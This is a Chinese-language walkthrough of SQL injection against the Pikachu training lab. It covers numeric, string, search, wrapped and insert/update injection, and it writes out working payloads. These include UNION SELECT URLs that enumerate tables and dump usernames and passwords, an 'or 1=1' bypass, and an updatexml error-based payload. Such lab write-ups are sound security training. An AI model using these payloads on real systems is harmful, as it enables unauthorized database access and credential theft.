文章目录
- 一、SQL注入步骤
- 二、数字型注入(post注入)
- 三、字符型注入(get)
- 四、搜索型注入
- 五、XX型注入
- 六、“insert/updata”注入
一、SQL注入步骤
- 寻找传参页面;
- 判断是否存在注入点;
- 字符型注入?
- 数字型注入?
- 判断字段的数量;
- 判断字段回显的位置;
- 查找数据库名、表名、字段名、字段内容;
- 登录后台。
二、数字型注入(post注入)
(1)既然靶场提示是post注入,我们使用kali自带的burp进行抓包,可以看到数据包的消息主体部分就是与数据库进行交互的参数id;
(2)上一步已经找到传参页面,下一步就判断页面是否存在注入点;
判断注入点的方法有:
这里,我们对参数id进行操作id=1' --+
,页面报如下错误,说明该注入属于数字型注入:
(3)判断字段数量,order by
命令,构造数据包的消息主体:id=4 order by 2 --+
,经测试,表中字段只有两个:
注意:使用order by命令的时候,应该使
4
有效,不应该在4
后面添加'
。因为,后端在拼接id参数后,得到的SQL语句应该是:select * from id=4 order by 2 --+
。如果表中没有相应的id值,order by
命令也将不会执行。
三、字符型注入(get)
(1)寻找传参页面;
(2)判断是否存在sql注入漏洞,命令:http://192.168.92.1:8765/vul/sqli/sqli_str.php?name=1%27&submit=%E6%9F%A5%E8%AF%A2
页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
(3)判断是数字型注入还是字符型注入,命令:http://192.168.92.1:8765/vul/sqli/sqli_str.php?name=1%27%20--+&submit=%E6%9F%A5%E8%AF%A2
由此,可知是字符型注入。
四、搜索型注入
(1)看到搜索框,肯定是含参页面,所以直接判断是否存在注入点。命令:http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%27&submit=%E6%90%9C%E7%B4%A2
页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
同时可以看出,在构造SQL语句时,需要对%
和‘
进行闭合。
(2)判断字段数,命令:http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' order by 3 --+&submit=搜索
只有order by前面的语句为真,order by才会正常执行。
经测试,字段数为3。
(3)判断回显点,命令http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,3 --+&submit=搜索
(4)判断数据库名,命令:http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,database() -- &submit=搜索
(5) 判断表名,命令:
http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu') -- &submit=搜索
(6)查看字段名,命令:
http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,(select group_concat(column_name) from information_schema.columns where
table_schema='pikachu' and table_name='users') -- &submit=搜索
(7)查看字段内容,命令:
http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,(select group_concat(concat(username,'%23',password)) from pikachu.users) -- &submit=搜索
五、XX型注入
所谓的xx型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)。
(1)判断注入点,命令:http://192.168.92.1:8765/vul/sqli/sqli_x.php?name=1'&submit=搜索
根据报错,可得知:
- 存在SQL注入;
- 通过
1\
来判断需要闭合的符号,这里需要闭合)
;
(2)判断字段数,或者直接爆出表中的所有字段内容,使用命令:
http://192.168.92.1:8765/vul/sqli/sqli_x.php?name=1%27)%20or%201=1%20--+&submit=%E6%9F%A5%E8%AF%A2
六、“insert/updata”注入
前提:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
在“insert/updata/delete”注入中,我们不能使用 union
去做联合查询,因为这不是查询,而是操作。
(1)在注册页面,用户名填'
,密码12,页面会有报错信息;
(2)我们知道后台使用的是 insert 语句,我们一般可以通过 or 进行闭合。注意value中的参数必须与字段个数一致。inser语法如下:
payload:1' or updatexml('~',concat(0x7e,database()),1) or '
。1后的单引号是在闭合前面的单引号,payload中最后一个单引号是在闭合后面的单引号。